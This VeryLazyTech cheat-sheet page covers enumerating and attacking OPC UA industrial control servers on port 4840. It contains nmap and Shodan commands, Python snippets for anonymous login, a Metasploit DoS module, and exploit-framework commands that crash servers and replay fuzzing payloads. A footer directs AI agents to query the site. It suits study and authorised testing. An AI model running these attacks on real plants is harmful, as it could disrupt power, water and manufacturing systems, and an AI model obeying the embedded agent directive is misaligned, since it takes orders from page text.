# OPC UA - PORT 4840

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://whop.com/verylazytech/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://whop.com/verylazytech/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

* A **machine-to-machine communication protocol** for industrial control systems (ICS).
* Standard port: **4840/TCP**.
* Used in:
  * Manufacturing lines
  * Power & energy networks
  * Oil & gas
  * Water plants
* Provides structured data exchange between **PLCs, sensors, and control software**.

For attackers, this is gold: a single OPC UA server can expose **device data, configurations, and control endpoints.**

***

### Enumeration

#### Nmap Scan

```bash
nmap -sV -p 4840 <target>
```

Output:

```
4840/tcp open  opc-ua  OPC UA TCP Protocol
```

**Banner Grab & Enumeration**

Use the `opcua-info` NSE script:

```bash
nmap -p 4840 --script opcua-info <target>
```

This extracts:

* Server application name
* Security policies supported (None, Basic256, etc.)
* Endpoints & available services

To reveal security issues in OPC UA servers, scan it with [OpalOPC](https://opalopc.com/).

```bash
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```

#### Shodan / Censys

Search for:

```
port:4840 opc ua
```

***

### Exploitation

Once you find an OPC UA server, you have multiple attack routes:

#### 1. No Authentication (Anonymous Login)

Many deployments allow **anonymous access**.\
Use the Python `opcua` client:

```python
from opcua import Client

client = Client("opc.tcp://<target>:4840")
client.connect()
print("Connected:", client.get_endpoints())
```

#### 2. Information Disclosure

OPC UA servers expose **tags, variables, and node data**. This can reveal:

* Factory layout
* Device models & firmware versions
* Process values (temperatures, flow rates, etc.)

Example Python snippet:

```python
root = client.get_root_node()
print("Root children:", root.get_children())
```

#### 3. Vulnerabilities (CVE-2018-4840 & more)

Poor implementations of OPC UA are vulnerable to **buffer overflows** and **denial of service**.

Metasploit has a module:

```bash
use auxiliary/dos/opcua/opcua_extensionobject_bof
set RHOSTS <target>
set RPORT 4840
run
```

This can crash or prove exploitability in vulnerable stacks. With ROP chains, it becomes RCE.

***

## Automated Tools

Claroty’s **OPC UA Exploit Framework** is a research toolkit for fuzzing, testing, and exploiting OPC UA servers/clients. It was the backbone of Team82’s discovery of dozens of OPC UA vulnerabilities.

### Installation & How to guide

```bash
# Clone the repo
git clone https://github.com/claroty/opcua-exploit-framework.git
cd opcua-exploit-framework

# Install requirements
pip install -r requirements.txt
```

⚠️ Make sure you’re running **Python 3.8+** and have `pip` installed.

The framework has **four modules**:

* `sanity` → Simple probes
* `attacks` → Exploit payloads
* `corpus` → Saved fuzz cases
* `server` → Fake OPC UA server for testing

#### 1. Run a Sanity Test (check target is alive)

```bash
python3 main.py sanity --target opc.tcp://192.168.1.100:4840
```

This checks if the OPC UA service is responding.

#### 2. Enumerate Nodes

```bash
python3 main.py sanity read-nodes --target opc.tcp://192.168.1.100:4840
```

Useful for info-gathering on exposed objects.

#### 3. Launch an Attack

Example: **Remote Stack Overflow (DoS)**

```bash
python3 main.py attacks dos-basic --target opc.tcp://192.168.1.100:4840
```

If the server crashes → it’s vulnerable.

#### 4. Reuse Payloads (Corpus)

```bash
python3 main.py corpus --payload payloads/bad_integer.bin --target opc.tcp://192.168.1.100:4840
```

This lets you replay fuzzing payloads that previously triggered bugs.

#### 5. Use the Built-in Test Server

```bash
python3 main.py server --port 4840
```

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://whop.com/verylazytech/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://whop.com/verylazytech/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://whop.com/verylazytech/)for e-books and courses.  📚

</details>
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.verylazytech.com/opc-ua-port-4840.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.